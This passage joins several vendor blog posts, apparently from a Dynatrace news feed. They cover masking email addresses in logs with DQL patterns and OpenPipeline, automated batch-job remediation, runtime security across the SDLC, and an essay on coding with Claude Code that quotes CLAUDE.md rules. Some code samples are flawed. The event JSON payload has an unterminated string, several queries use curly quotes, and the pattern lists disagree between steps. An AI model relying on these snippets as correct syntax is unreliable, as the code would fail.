  Begin Action: [ exampleAdvantageLinkEmailAction ], BusinessProcessCode: 
  [ advantageLinkEmailProcess-albert_einstein@example.com-1745886166709], 
  OrderCode:[ n/a ]

• 10.96.152.11 - - [29/Apr/2025:10:33:43 +1000] 
  "GET /reminder/shakespeare@example.com/1 HTTP/1.1" 200 90 
  "https://www.example.com/my-account/order-details/306399901" 
  "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 
  (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36" 203.0.113.145 - 
  T2u3V4w5XyZaBc6DeF7gHi8JkL9mNo0PqR1 100 

As you can see, all of these logs contain email addresses, which must be masked before storing in Dynatrace Grail™.

Step 2: Identify patterns in logs

We can use the Notebooks app to query stored logs and search for log lines that contain email addresses. To do so, we create a new notebook, add a DQL section, and execute the following command:

fetch logs
| filter matchesPattern(content, "LD '@' [A-Za-z0-9'_']* '.'
[A-Za-z]* (LD | EOS)") 

The second part of this command executes a pattern matching command, which makes use of the Dynatrace Pattern Language (DPL) to define the pattern and reduces the result to show only those entries that contain an email address.

Let’s have a closer look at the DPL pattern itself:

LD '@' [A-Za-z0-9'-']* '.' [A-Za-z]* LD EOS 

and break down the elements:

• LD: Matches any characters (letters, digits, or others) until the next non-optional matcher (in this case, ‘@’) within the scope of a line.
• '@': Matches the actual @ symbol.
• [A-Za-z0-9'-']*: Matches zero or more letters, digits, or hyphens, forming the domain part of the email address.
• '.': Matches the literal “.” (e.g. in .com).
• [A-Za-z]*: Matches zero or more letters, representing the top-level domain. Note: If you wish to match double-dotted TLD’s like .co.uk use this pattern instead: [A-Za-z’.’]*
• (LD | EOS): The pattern matches either a sequence of characters (letters, digits, or others) via LD to the end of the line after the email address. However, if the last word in the log line is the email address, then optionally the EOS will match the end of string.

Step 3: Analyze logs for email address patterns

After confirming email addresses exist, we examine the log lines to identify patterns preceding them. Here are the literals just before the email addresses, found in our returned sample logs:

• order confirmation email sent to
• find credentials for series
• customerID=
• customerRegistrationProcess-
• forgottenPasswordProcess-
• Deleting userId: 
• Check loyalty account exist for email: 
• advantageLinkEmailProcess-
• GET /reminder/ 

These literals will help us target the email addresses for masking.

Step 4: Check the pattern to test the process of masking the email addresses

We will now parse the email addresses and mask the local part (before the @ symbol) using Dynatrace Query Language (DQL). This is parsing at query time to test whether the pattern is valid or not. It does not change or update the unmasked data that is already stored in Grail. This step ensures that the pattern we’ll be using in the following steps with OpenPipeline are valid. To achieve this, we must open the DPL architect by selecting the 3 dots on the right hand of a row-element in the content column and select “Extract fields.”

Parse the email field

We will use the following parsing pattern with DQL to extract email addresses based on the literals identified:

Pattern:

 
LD  
( 
'order confirmation email sent to' |  
'find credentials for series' | 
'customerID=' |  
'customerRegistrationProcess-' |  
'forgottenPasswordProcess-' |  
'Deleting userId: ' |  
'Check loyalty account exist for email: ' | 'advantageLinkEmailProcess-' |  
'GET /reminder/') LD:email 
 

Breakdown: 

• LD 
  Matches any non-whitespace characters before the literal.
• ('Can't find credentials for series' | ...) 
  Matches any of the specified literals.
• LD:email 
  Captures the email address into a field named email.

Validate the parsing rule using DPL architect in Dynatrace Notebooks by pasting the parse command (starting with LD):

Make sure you select the ‘Add to preview’ action button to ensure there are no “Unmatched records” and all the matched records based on the previous filter can be truly passed:

Test the process of masking the email

In the screenshot below, you can notice that the logs do contain unmasked email addresses:

Test replacing and obfuscating the email address in the log content with a masked value (e.g., xyz):
Add below your existing query the fieldsAdd operation:

| fieldsAdd content = replacePattern(content,  
 
" 
<< 
( 
 'order confirmation email sent to' | 
'find credentials for series ' |  
 'customerID=' |  
 'customerRegistrationProcess-' |  
 'forgottenPasswordProcess-' |  
 'Deleting userId: ' |  
 'Check loyalty account exist for email: ' |  
 'advantageLinkEmailProcess-' |  
 'GET /reminder/' 
) LD:email  
>> 
'@' 
",  
 
“xyz”) 
 

This replaces the email address (stored in the email field) with xyz in the content field.

What it does:

This DQL command modifies the content field in a Dynatrace log record by replacing specific patterns defined – email addresses in this case – with the defined string “xyz”.
Let’s have a closer look at the technical details:

1. replacePattern Function:
   The replacePattern function searches the content field for matches of a specified pattern and replaces them with a given string (here, “xyz”).
2. DPL Modifier – Lookaround:
   Positive Look Behind Modifier <<
   Pattern:

<<
(
'for series' |
'customerID=' | 
'order confirmation email sent to' |
'customerRegistrationProcess-' |
' process forgottenPasswordProcess-' |
'userId: ' |
'Check OnePass account exist for email: ' |
'MobileApp customerRef=' |
'advantageLinkEmailProcess-' |
'GET /reminder/'
)

1. • Explanation: The << modifier looks up to 64 bytes before the current position in the log to check for any of the specified phrases. If one is found, the pattern continues. Our pattern includes <<('customerID=' 'GET /reminder/'). If the log line contains customerID=marie_currie@example.com, the modifier confirms that customerID= appears within 64 bytes before the email address, so the match succeeds. If that phrase isn’t found in the preceding 64 bytes, the match fails. Read more about DPL modifiers in our product documentation
2. Positive Look Ahead >>
   Pattern:
   LD:email >> ‘@' Explanation:  The >> modifier performs a look-ahead check. It ensures the pattern only matches if a specific condition appears after the current position. In this case, after capturing the local part of the email with LD:email, the pattern verifies that an @ symbol follows. This confirms the captured text is indeed part of an email address. For example, take the logline “Can't find credentials for series marie_currie@example.com” The pattern first uses LD:email to capture marie_currie as the local part. The >> '@' check then looks ahead and confirms that @ immediately follows. Because the condition is met, the match succeeds. But if the @ symbol were missing (e.g., Can't find credentials for series marie_curieexample.com), the match would fail.
3. Replacement:
   The matched pattern (e.g., marie_currie) is replaced with “xyz”. This masks the local part of the email address while leaving the rest of the log entry intact. For instance:
   • Before: customerID=marie_currie@example.com
   • After: xyz@example.com
4. fieldsAdd content = …: 
   The modified content (with the email local part masked) is stored back into the content field, overwriting the original value.

Additional guidance:

Follow these steps if you wish to mask the entire email address, including the domain:
If you wish to mask or extract the entire email address, you could use a pattern like below:

<<
( 
'order confirmation email sent to ' | 
'find credentials for series ' |  
'customerID=' |  
'customerRegistrationProcess-' |  
'forgottenPasswordProcess-' |  
'Deleting userId: ' |  
'Check loyalty account exist for email: ' |  
'advantageLinkEmailProcess-' |  
'GET /reminder/' 
) 
(LD '@'[A-Za-z0-9'-'']* '.' [A-Za-z]*):email 

In addition to the modifiers and pattern matching literals that were explained earlier, below is the explanation of the last line on how the breakdown of the DPL pattern language:

(LD '@'[A-Za-z0-9'-'']* '.' [A-Za-z]*):email 

1. LD: Matches line data.
2. '@‘: Matches the ‘@’ symbol.
3. [A-Za-z0-9'-'']*: Matches any sequence of alphanumeric characters, hyphens, and single quotes, occurring zero or more times.  Read more here.
4. '.': Matches the ‘.’ (dot) character.
5. [A-Za-z]*: Matches any sequence of alphabetic characters, occurring zero or more times.
6. :email: Captures the matched data and labels it as email. This is not needed if you don’t wish to capture the email address.

Step 5: Filter logs to avoid unintended masking

To ensure we only mask logs from specific sources and pattern containers, apply additional filters to isolate those logs only.

As a best practice, you should pre-filter your logs, by applying this filter directly underneath your fetch logs statement.

Filter by Container Names:

| filter k8s.container.name == "checkout"
OR k8s.container.name == "astroshop"
OR k8s.container.name == "aks-playground"

Filter by Content Patterns:

filter  
( 
matchesPhrase(content, "find credentials for series ") OR  
matchesPhrase(content, "order confirmation email sent to ") | 
matchesPhrase(content, "customerID=") OR  
matchesPhrase(content, "customerRegistrationProcess-") OR  
matchesPhrase(content, "forgottenPasswordProcess-") OR  
matchesPhrase(content, "Deleting userId: ") OR  
matchesPhrase(content, "Check loyalty account exist for email: ") OR 
matchesPhrase(content, "advantageLinkEmailProcess-") OR 
matchesPhrase(content, "GET /reminder/") 
) 

Complete DQL Query

Here’s the full DQL query combining all steps for your reference and to copy/paste:

fetch logs 
| filter  
( 
k8s.container.name == "checkout" OR  
k8s.container.name == "astroshop" OR  
k8s.container.name == "aks-playground" 
) 
AND 
// Match only logs that have specific phrases  
( 
matchesPhrase(content, "find credentials for series ") OR  
matchesPhrase(content, "order confirmation email sent to ") OR  
matchesPhrase(content, "customerID=") OR  
matchesPhrase(content, "customerRegistrationProcess-") OR  
matchesPhrase(content, "forgottenPasswordProcess-") OR  
matchesPhrase(content, "Deleting userId: ") OR  
matchesPhrase(content, "Check loyalty account exist for email: ") OR 
matchesPhrase(content, "advantageLinkEmailProcess-") OR 
matchesPhrase(content, "GET /reminder/") 
) 
| // extract the contents just after these literals that contains the localpart/username within the email address and replace the pattern that comes after these strings. 
fieldsAdd content = replacePattern(content,  
 
" 
<< 
( 
'order confirmation email sent to' | 
'find credentials for series ' |  
'customerID=' |  
'customerRegistrationProcess-' |  
'forgottenPasswordProcess-' |  
'Deleting userId: ' |  
'Check loyalty account exist for email: ' |    
'advantageLinkEmailProcess-' |  
 'GET /reminder/' 
) LD:email  
>> 
'@' 
",  
 
“xyz”) 

Store this query in a Dynatrace Notebook for future reference, and feel free to select the Run button to validate that the output matches your expectations.

All our earlier steps did not actually mask the incoming logs, but applied our masking at read/query, and secondly, just for us as the users of the Notebook.

The Notebook and its DQL snippet simply masked the data we visualized. Although this is useful for preventing users from displaying unmasked data when automated, it is even better if logs with PII are masked during ingest time.

Now that we have validated that our pattern works, we can use OpenPipeline to ensure that any log matching the DQL processor rule will undergo a series of processes that transform the log events during the ingest process.

Step 6: Set up OpenPipeline for real-time masking

Let’s configure OpenPipeline to mask email addresses at log ingestion.

1. Launch OpenPipeline in Settings app: Navigate to OpenPipeline using search or the CTRL+K shortcut. Then select Logs from the OpenPipeline menu.
2. Create a New Pipeline:
   • Go to Pipelines and create a new pipeline.
   • Provide a meaningful name (e.g., “Mask Email Addresses”).
   • In the Processing tab, add a DQL processor.
3. Configure the DQL Processor:
   • Name the processor (e.g., “mask email address in astroshop OR checkout OR aks-playground”).
   • Replace the default matching condition true with our patterns defined:

   • ( 
     k8s.container.name == "astroshop" OR  
     k8s.container.name == "checkout" OR  
     k8s.container.name == "aks-playground" 
     ) AND 
     // Match only logs that have specific phrases 
     ( 
     matchesPhrase(content, "order confirmation email sent to ") OR matchesPhrase(content, "find credentials for series ") OR  
     matchesPhrase(content, "customerID=") OR  
     matchesPhrase(content, "customerRegistrationProcess-") OR  
     matchesPhrase(content, "forgottenPasswordProcess-") OR  
     matchesPhrase(content, "Deleting userId: ") OR  
     matchesPhrase(content, "Check loyalty account exist for email: ") OR 
     matchesPhrase(content, "advantageLinkEmailProcess-") OR 
     matchesPhrase(content, "GET /reminder/") 
     )

   • Define what action should be applied when the condition matches, by defining the DQL processor:

     fieldsAdd content = replacePattern(content,  
      
     " 
     << 
     ( 
      'find credentials for series ' |  
      'order confirmation email sent to ' |  
      'customerID=' |  
      'customerRegistrationProcess-' |  
      'forgottenPasswordProcess-' |  
      'Deleting userId: ' |  
      'Check loyalty account exist for email: ' |  
      'advantageLinkEmailProcess-' |  
      'GET /reminder/' 
     ) LD:email  
     >> 
     '@' 
     ",  
      
     “xyz”)

While it is suggested to test your new masking with sample data, you can alternatively input ‘example’ as text and select to save the processor and pipeline, as we have validated them earlier in our Notebook.

4. Set up and define Dynamic Routing:

• Select the Dynamic routing tab
• Create a new Dynamic route named “Email ID masking for specific container names.”
• Use the same condition as the matching condition before.
• Connect the route to the pipeline you’ve just created.

Step 7: Validate the masking

To confirm the email addresses are masked:

1. Re-run the DQL query in your Dynatrace Notebook, but this time without the parsing.
2. Check the content field in the logs to ensure email addresses are replaced with xyz.

For example, marie_currie@example.com should now appear as xyz@example.com.
We can verify this by looking for these logs, and we can observe that the email addresses have been fully masked without any parsing at query time. Additionally, you can notice that the logs have the dt.openpipeline.pipelines attribute attached with the pipeline that was used during ingest time. This also confirms that the log was processed in that pipeline.

Conclusion

In this blog, we used email masking at ingest to demonstrate how to effectively obfuscate various types of sensitive data in logs using OpenPipeline, protecting sensitive data in real-time during the ingest process. By leveraging OpenPipeline’s powerful DQL-based processing and dynamic routing capabilities, you can precisely target specific Kubernetes containers or just any log source with patterns to enhance data privacy and security.

Take the next step

Explore OpenPipeline’s advanced features to:

• Mask sensitive data like SSNs, IDs, and more
• Streamline log management workflows with dynamic routing
• Build custom pipelines in Dynatrace to control your log data

Streamline Compliance

For comprehensive data-subject rights management, consider the Sensitive Data Center. app. Efficiently manage end-user personal data requests in Grail, with support for regulations like GDPR and CCPA.

…

Addendum: Exploring this approach in the Dynatrace Playground tenant:

A sample dataset, preloaded with tailored pattern matching and masking for the following steps and explanations, is available in the Dynatrace Playground tenant within this Dynatrace Notebook for hands-on exploration.

The individual steps can also be observed in the playground tenant with the logs ingested from the astroshop demo, while unfortunately, you lack the permissions to configure new pipelines and processors in Playground tenant.

If you look to test this within your personal tenant or a free trial tenant without actual logs containing PII, or running Astroshop yourself, you can download a copy of this Notebook or test with the pattern below, using the data command to generate sample data in a Dynatrace Notebook.

data  
record(content = "2025-04-22 11:46:38 [ERROR|[203.0.113.13] |K9p8Q3xJwZrStUv4XyZ7AbC2n5M6h8T1v0L2r4 |com.example.exmplstore.security.examplePersistentTokenRepository] Can't find credentials for series marie_curie@example.com", log.source = "bash-script"), 
record(content = "2025-04-22 13:50:43 [INFO |[203.0.113.112] |A1b2C3d4EfGhIjK5LmN6oPq7RsT8uVw9XyZ0 |class com.example.exmplfacades.order.exampleCheckoutLogger Checkout ABC] Receive API Request:method=placePayOrder, cartCode=302132310, customerID=freddie@example.com|com.example.exmplstore.checkout.request.PayPlaceOrderRequestDto@3d3a53d5|", log.source = "bash-script"), 
record(content = "2025-04-22 13:58:24 [INFO |||com.example.exmpl.BusinessProcessLoggingAspect] Finish Action: [ PerformSubscriptionAction ], BusinessProcessCode: [ customerRegistrationProcess-martin_luther@example.com-1745294290737], OrderCode:[ n/a ]", log.source = "bash-script"), 
record(content = "2025-04-29 10:16:13 [INFO |||com.example.exmplmarketing.action.exampleSendCustomerNotificationAction] Successfully sent email forgottenPassword message for process forgottenPasswordProcess-jane_austen@example.com-1745885767984", log.source = "bash-script"), 
record(content = "2025-04-29 10:24:26 [INFO |[203.0.113.14] |M3n4P5q6RsTuVwXyZ7aBc8DeF9gHi0JkL2|com.example.exmpl.UserDeleteInterceptor] Deleting userId: cleopatra@example.com, actioned by userId: anonymous", log.source = "bash-script"), 
record(content = "2025-04-29 10:24:36 [INFO |[203.0.113.19] |T2u3V4w5XyZaBc6DeF7gHi8JkL9mNo0PqR1|com.example.exmpl.AdvantageApiClient] Loyalty: Check loyalty account exist for email: leonardo_davinci@example.com , wodCorrelationId 2fee137d-915e-46fb-b390-c69aae3f150", log.source = "bash-script"), 
record(content = "2025-04-29 10:22:47 [INFO |||com.example.exmplbusproc.aop.BusinessProcessLoggingAspect] Begin Action: [ exampleAdvantageLinkEmailAction ], BusinessProcessCode: [ advantageLinkEmailProcess-albert_einstein@example.com-1745886166709], OrderCode:[ n/a ]", log.source = "bash-script"), 
record(content = "10.96.152.11 - - [29/Apr/2025:10:33:43 +1000] \"GET /reminder/shakespeare@example.com/1 HTTP/1.1\" 200 90 \"https://www.example.com/my-account/order-details/306399901\" \"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36\" 203.0.113.145 - T2u3V4w5XyZaBc6DeF7gHi8JkL9mNo0PqR1 100", log.source = "bash-script") 
 
| filter matchesPattern(content, "LD '@' [A-Za-z0-9'_']* '.' [A-Za-z]* (LD | EOS)")

The post How to mask PII like email addresses appearing in logs with Dynatrace: An advanced use case appeared first on Dynatrace news.

Let’s say you have a nightly account update batch job that processes user transactions, recalculates balances, and synchronizes data across services in a financial application. If it fails or gets stuck and consumes so many resources that your service degrades, you’ll suffer significant business impact. Every second of such an incident can lead to customer frustration, SLA breaches, and lost revenue.

In our previous blog, we demonstrated how you can use Dynatrace to observe batch jobs and how and why to treat them as first-class citizens in your monitoring strategy. We demonstrated how to uncover performance trends, pinpoint failures, and reveal bottlenecks. But detection isn’t enough.

This blog post takes you to the next level. We’re no longer just talking about detecting problems—we’re talking about fixing them automatically with the help of Dynatrace Davis® AI, Workflows, EdgeConnect, and ServiceNow integration.

We’ll walk you through the automated process of determining root cause, creating an incident in ServiceNow, and automatically remediating the problem.

Architecture overview: A modern, cloud-native setup

Our example environment is a Kubernetes-based architecture that mirrors many modern cloud-native enterprise deployments.

Here’s what the setup looks like:

• A Kubernetes cluster orchestrating all workloads
• A public-facing NGINX proxy handling incoming traffic
• A React front-end delivering the user interface
• A Java-based broker service responsible for backend processing and database interaction
• A persistent database service for storing and retrieving application data

This is automatically instrumented using the Dynatrace Kubernetes Operator, which injects monitoring capabilities directly into the cluster without manual configuration. This provides end-to-end visibility across services, infrastructure, and dependencies with no code changes or changes to existing containers.

Enhancing AI context: Tracking batch job events in Dynatrace

For custom use cases and unique business scenarios, Davis® AI needs to be made aware of specific events through custom approaches. While traditional monitoring captures standard metrics, enabling intelligent reasoning around specific workflows—like batch jobs—means providing targeted event tracking. This ensures Davis AI has full visibility into these activities, allowing it to understand and respond to them effectively.

Contextual events, such as the start of the batch job, could be sent to Dynatrace. This functionality allows you to maintain a clear timeline of all activities, including initiating and completing batch jobs, enhancing visibility and control over critical processes.

In our case, we use an HTTP call that follows this pattern, which utilizes the Dynatrace event types documented here:

An example Event API Payload for attaching batch job information to services:

{ 
  "entitySelector": "type(\"SERVICE\"),tag(service:broker-service 
  "eventType": "CUSTOM_INFO", 
  "properties": { 
    "batch-job-name": "update-account", 
    "process-id": "%s", 
    "workload-name": "account-updater", 
    "namespace": "easytrade" 
  }, 
  "title": "%s update-account batch-job" 
}

This payload attaches batch job information to services matching the entitySelector criteria. The event will appear in the timeline of services tagged with broker-service linking batch job execution data to the relevant services.

Davis AI in action: Instant root cause analysis

In this real-world example, the application team noticed latency spikes and increased error rates reported by end users. But before anyone raised a ticket or sent an alert, Dynatrace Davis AI had already detected the anomaly.

Here’s what Davis AI surfaced immediately:

• Problem severity and duration
• Number of users affected
• Which services were degraded, and which business transactions were impacted
• And most importantly: the root cause

In this case, the root cause was traced to a batch job that had started consuming excessive resources—CPU, memory, and I/O—all of which starved the Java broker service and caused downstream failures.

Without AI, isolating this root cause across layers could have taken hours. With Davis, it was done in minutes.

Identifying service failures due to batch job failures

The screenshot below displays distributed traces filtered to show batch job-related activity and reported failures. It reveals issues in other services, such as BrokerService, where failures from stuck batch jobs are impacting downstream services.

Tapping ServiceNow for instant remediation while Davis gave us the diagnosis, we still need a solution. This is where our integrations with ServiceNow come in. Dynatrace Workflows identifies the issue and checks ServiceNow for an existing ticket. If none exists, it leverages Dynatrace EdgeConnect to execute a Kubernetes API, suspending the affected batch job for remediation. If a ticket is already open, the Workflow adds comments to ServiceNow and follows the same remediation process.

Orchestrating recovery: Dynatrace Workflows

We created a custom Dynatrace Workflow specifically for this batch job scenario. It’s designed to react to Davis AI-detected problems that match a particular pattern—resource-intensive jobs degrading core services.

Here’s how the workflow functions:

1. Trigger. Once the problem is detected and Davis confirms the root cause, the workflow is automatically triggered.
2. ServiceNow integration. Without manual input, it instantly opens a ServiceNow incident with all contexts—affected services, severity, root cause.
3. Live updates. As the situation evolves, the ticket is updated in real time, ensuring that both engineering and service management teams are in sync.
4. Conditional logic. The workflow checks for remediation eligibility—e.g., is it safe to pause or reschedule the batch job?
5. Remediation. The workflow now initiates the remediation by EdgeConnect by executing a Kubernetes API to suspend or delete the job
6. Validation and closure. The causal AI validates successful remediation by confirming the batch job suspension, then automatically closes the problem ticket. Optionally, EdgeConnect can perform additional verification to ensure the root cause has been eliminated and system stability is restored.

All of this happens without anyone needing to log into a dashboard.

Closing the loop: Secure remediation with Dynatrace EdgeConnect

Now, let’s talk about the actual fix.

With the root cause identified and the ServiceNow ticket tracking the issue, the final step is to initiate remediation safely and securely inside the Kubernetes cluster.

This is achieved using Dynatrace EdgeConnect, a lightweight, secure connector that allows Dynatrace to command and interact with your private infrastructure; in this case, Kubernetes.

In our case, EdgeConnect was configured to:

• Connect securely to the Kubernetes API
• Execute a custom remediation action, such as scaling down the batch job, adjusting its priority, or rescheduling it to an off-peak window
• Verify the effect of the remediation and confirm resolution back in Dynatrace and ServiceNow

All of this occurred without breaking security boundaries, using EdgeConnect’s outbound-only architecture.

Instant notifications with Slack integration

SysAdmins, DevOps, and SRE teams need to stay informed in real time to ensure system reliability. The Dynatrace integration with Slack delivers instant notifications for critical events, such as batch job failures or system errors, directly to your team’s Slack channels.

In this case, they are simply notified as all the action has already been taken care of by intelligent automation.

In this example, we conducted remediation by automatically suspending the batch job, as confirmed by running a relevant command to check the job status. Note that remediation approaches and use cases may vary, and we recommend tailoring solutions to your specific environment and requirements.

From reactive to proactive with AI-driven automation

Batch jobs have long been a blind spot in observability—often managed outside core APM tooling or considered too niche for automated handling.

But today, Dynatrace brings batch job management into the mainstream of modern observability and automation.

• With Davis AI, you get root cause detection in real time.
• With Workflows, you turn those insights into action.
• With EdgeConnect, you push changes securely to production environments.
• And with ServiceNow integration, you keep ITSM workflows up to date without lifting a finger.

This is a new era of autonomous cloud operations—where custom, complex issues like batch job failures are no longer exceptional cases, but standard parts of your AI-driven automation strategy.

How to get started

It’s considered best practice to send custom events to Dynatrace to enhance monitoring capabilities. These events help keep Dynatrace informed about key activities or changes in your environment.

If any of these events correlate with issues in the landscape, Davis AI automatically analyzes them and identifies the root cause. This insight can then be used to trigger Workflows that help remediate potential problems proactively.

The post Next-level batch job monitoring and alerting part 2: Using AI to automatically identify issues and workflows to remediate them appeared first on Dynatrace news.

Recognize the unavoidable need for runtime security

No security strategy can guarantee absolute protection. Modern software complexity and dynamic threats mean some risks will evade detection (Figure 1). According to Dynatrace analysis, a significant portion of Fortune 500 companies remain vulnerable to known vulnerabilities, such as Spring4Shell.

Left-shifted tools often lack runtime context, making it hard to prioritize vulnerabilities by real-world impact. Runtime security bridges this gap by continuously monitoring production environments, detecting and mitigating threats in real time. This approach helps organizations adapt to emerging risks instead of relying on pre-deployment checks.

Dynatrace addresses this challenge by adding runtime context to left-shifted security findings, enabling environment-aware vulnerability prioritization. Dynatrace Application Security integrates seamlessly with third-party tools to ingest and enrich vulnerability data with runtime context. This context-rich prioritization reduces cognitive overload for teams across the SDLC.

The value of defense-in-depth in SDLC

A defense-in-depth approach layers multiple security controls across the SDLC to build resilient applications that can withstand sophisticated attacks. Rather than relying on a single security measure, defense-in-depth supports the strategy that if one layer misses a vulnerability, another will catch it.

This approach gains added relevance as modern development practices accelerate release cycles, often introducing new risks at every stage. By embedding security from the earliest phases of development through to production monitoring, teams can proactively identify, mitigate, and respond to threats before they escalate. Figure 2 illustrates this multi-layered approach, mapping out key capabilities across four critical SDLC phases: Development, Build, Deploy, and Observe (encompassing the commonly referred-to phases of runtime and monitoring).

Each phase contributes unique controls and processes to a strong overall security posture. This layered approach is essential for protecting sensitive data, maintaining customer trust and meeting regulatory requirements in an increasingly hostile cyber environment.

To understand how this works in practice, let’s look at an example of a cloud-native microservices application.

End-to-end scenario: How the Astronomy Shop application leverages runtime context

Consider  Astronomy Shop, an online retailer demo application built on containerized microservices such as frontend, product, cart, checkout, payment, order, and search — all deployed on Kubernetes. Astronomy Shop’s teams implement defense-in-depth across the SDLC phases to secure their application.

By leveraging runtime context, they validate and prioritize risks in production, ensuring that the most critical security issues are addressed first. Below is a walkthrough of how Astronomy Shop uses tools and Dynatrace capabilities throughout the SDLC to enhance security.

Effective security starts at the foundation: during development. This phase sets the tone for the entire security lifecycle.

Development phase: Build security from the ground up

Scenario: Developers commit code for services like product, cart, and checkout. Security scanning runs early, and threat modeling identifies sensitive paths (e.g., checkout and payment). Findings are triaged later using the runtime context to prioritize risks.

Sample tools:

• SonarQube for code quality and static application security testing (SAST), GitHub Advanced Security for dependency monitoring and software composition analysis (SCA).

The Dynatrace role:

• Ingests security findings from development tools via OpenPipeline’s security events ingest endpoint.
• Maps findings to the Semantic Dictionary in Grail™ for unified prioritization, analysis, and automation.
• Highlights critical and high alerts and deprioritizes non-executed code vulnerabilities while prioritizing medium issues exposed to sensitive data. This helps developers focus on vulnerabilities that pose real risks in production.

After development, the build phase is positioned to catch vulnerabilities before deployment.

Build phase: Strengthening security through automation and testing

Scenario: Astronomy Shop teams build and push container images to AWS ECR. Automated image scanning tools like AWS Inspector and Snyk Container assess vulnerabilities. Findings are enriched with runtime context to identify which issues truly impact production.

Sample tools:

• AWS Inspector for image scanning and Snyk for container scanning.
• Recommended approach: Artifact/container image scanning for OS and package vulnerabilities.

The Dynatrace role:

• Extends observability to the build phase for governance and security hygiene control.
• Adds runtime context to container scans, so developers know which vulnerabilities to prioritize. This simplifies decision making and reduces cognitive load.
• Automates security gates and workflows with tools like Site Reliability Guardian to ensure no critical vulnerabilities affect production.

And now, we move on to deployment, the critical moment when applications face real-world threats.

Deploy phase: Safeguard production with real-time oversight

Scenario: The Astronomy Shop team deploys services to Kubernetes using Helm or GitOps. Admission policies and baseline checks run, while cloud controls enforce guardrails and flag misconfigurations.

Sample tools:

• Kyverno for workload and cluster policies, AWS Security Hub for cloud security posture management (CSPM).

The Dynatrace role:

• Monitors deployment success and audits deployment operations by ingesting SDLC events.
• Enriches KSPM and cloud misconfiguration findings with runtime context to prioritize critical issues.
• Detects and addresses configuration issues with Dynatrace KSPM, ensuring continuous monitoring in Kubernetes and cloud environments.

Once deployed, applications should be actively monitored to detect and address emerging threats and potential signs of compromise.

Observe phase: Monitor production for threats

Scenario: The Astronomy Shop application is deployed to production and actively monitored. A new vulnerability is discovered in a library, and Dynatrace detects and locates the issue in real time. Malicious actors attempt to exploit the vulnerability, but the application remains secure due to proactive patching.

Sample tools:

• Dynatrace Runtime Application Protection (RAP), Runtime Vulnerability Analytics (RVA), Microsoft Defender for Cloud, Amazon GuardDuty, Microsoft Sentinel.

The Dynatrace role:

• Unifies third-party runtime detections and security signals into a single view for efficient processing.
• Provides deep runtime observability through OneAgent, extending visibility to process health, cloud, and infrastructure.
• Enables runtime security capabilities like RVA (Runtime Vulnerability Analytics), Security Posture Management (SPM), and Runtime Application Protection (RAP), serving as the final defense layer against threats.

Figure 3 highlights how Dynatrace integrates seamlessly across the SDLC, enhancing security with runtime context and enabling teams to prioritize and address the vulnerabilities that matter most.

Let’s examine practical scenarios where Dynatrace enhances left-shifted security findings with runtime context, enabling environment-aware prioritization.

Practical scenarios: Elevate security with runtime context

1. Prioritize SAST findings in code
   Static scanners often detect thousands of vulnerabilities, many of which are irrelevant in production. Runtime context enables teams to prioritize vulnerabilities based on actual risk. For instance, critical severity vulnerabilities in non-executed code could be deprioritized, while medium-severity vulnerabilities exposed to the internet and near sensitive data become high priorities.
2. Prioritize container scanner findings
   Container scans often flag numerous vulnerabilities. Runtime context helps determine whether these issues truly impact production. For example, a critical vulnerability in a library that is never executed in production can be deprioritized, while containers not deployed in production can be addressed later.
3. Prioritize KSPM findings on clusters
   Post-deployment, runtime context helps identify which security issues in workload cluster components or configurations impact production services. Critical vulnerabilities with no direct impact on production can be deprioritized, letting teams focus on what matters most.
4. Prioritize cloud alerts and compliance findings
   Continuous assessment of cloud environments and prioritization of misconfigurations with the application insights reduces the noise from cloud alerts and help to remediate the most important issues first.

Ready to strengthen your security in production?

Explore how Dynatrace can integrate seamlessly into your DevSecOps processes providing application-level insights to security findings across the SDLC for smarter prioritization.

The post Strengthen production security: Bridge SDLC best practices with runtime validation appeared first on Dynatrace news.

When people first started saying they were using AI to build full apps, I was wildly skeptical. You’ve heard these stories too, right? “I built a complete SaaS platform in one weekend using ChatGPT!” Sure, you did.

But I kept hearing it. Over and over. Whole apps. Entire startups. Just prompts. So, I decided to test the hype. I’ve had the idea to build an app to help collectors track and manage their sports card collections for years. I’ve tried Excel, Google Sheets, Airtable, and even Retool. They are all excellent tools but weren’t the right ones for the job I was trying to accomplish. But after a friend showed me how he was using Claude Code in his CLI, the light bulb went on.

Two weeks later, I had a working site. Authentication. A database. A clean interface. All built with AI tools, a little stubbornness, and an embarrassing number of “let’s try that again” moments.

That’s when it hit me: It’s not vibe coding if you know what you’re doing.

The CLAUDE.md rulebook

The first lesson I learned: AI needs boundaries. So, I made a file called CLAUDE.md. Think of it like an employee handbook for a very confident robot. It spells out how I want things done — naming conventions, frameworks, the tone of my responses; even how to handle uncertainty. Without it, Claude will take creative liberties. With it, it’s like working with someone who mostly listens and only occasionally decides your database schema needs “personality.” You don’t need to go all in on “spec-driven development” when you’re first starting out, you just need some guide rails.

Second, design consistency is not AI’s strong suit. One minute it’s using Material UI, the next it’s gone rogue with pastel buttons and drop shadows from 2007. I started a design guide just to keep it on the rails. It made things infinitely easier to describe and control, all in one place.

An excerpt from the rulebook

# Claude Development Notes

## 🚨 CRITICAL: HOW TO WORK WITH THIS USER (READ FIRST - EVERY SESSION)

### Core Working Principles - NEVER FORGET THESE

1. **BE A SYSTEMATIC CODE ANALYST, NOT A GUESSER**

- ALWAYS search for existing code patterns, dependencies, and conflicts BEFORE attempting fixes

- Use grep, find, and comprehensive code analysis to understand root causes systematically

- Don't apply "band-aid" fixes - identify and solve the underlying architectural issue

- Leverage your file search and cross-reference capabilities instead of making the user debug manually

- This applies to CSS, JavaScript, database queries, API endpoints, configuration - EVERYTHING

2. **THINK LIKE AN EXPERT WITH DEEP SYSTEM KNOWLEDGE**

- Consider how changes affect the entire system: dependencies, imports, inheritance, scoping

- Look for naming conflicts, architectural patterns, and existing conventions

- Analyze the broader codebase structure and established patterns before making changes

- Understand the user is building maintainable, scalable, isolated components

- Apply this expertise to ALL aspects: styling, logic, data flow, security, performance

You can view the full rulebook here.

Don’t give AI the keys to the kingdom

Those initial guard rails will get you started, but they aren’t enough. You’re going to need reliable source control. Badly. AI can (and will) make sweeping changes in seconds. Whole sections of your project — just gone. It’s not malicious, it’s just eager. Commit early, commit often, and keep your fingers hovering over the ESC key to interrupt bad ideas.

